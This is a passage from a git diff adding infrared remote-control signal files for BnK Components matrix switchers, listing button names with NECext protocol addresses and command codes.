NECext +address: EF 01 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 3F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: EF 01 00 00 +command: C6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: EF 01 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir new file mode 100644 index 000000000..2c5532a4f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir @@ -0,0 +1,530 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 40 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 65 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 66 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 7D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: C6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: CF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: F9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir new file mode 100644 index 000000000..360f272ba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir @@ -0,0 +1,590 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 01 00 00 00 +# +name: 016_OFF +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 02 00 00 00 +# +name: 016_ON +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 05 00 00 00 +# +name: 016_INPUT_1 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 06 00 00 00 +# +name: 016_INPUT_3 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 09 00 00 00 +# +name: 016_INPUT_2 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0B 00 00 00 +# +name: 016_INPUT_7 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0D 00 00 00 +# +name: 016_INPUT_4 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0F 00 00 00 +# +name: 016_INPUT_5 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 17 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 18 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1B 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1C 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 23 00 00 00 +# +name: 016_VOLUME_- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 23 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 24 00 00 00 +# +name: 016_VOLUME_+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 24 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3B 00 00 00 +# +name: 90 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 4A 00 00 00 +# +name: 016_INPUT_6 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 5A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 79 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: CF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: F9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir new file mode 100644 index 000000000..d692746aa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir new file mode 100644 index 000000000..8af08317e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: FB 40 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: FB 40 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: FB 40 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir new file mode 100644 index 000000000..2b42910bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir @@ 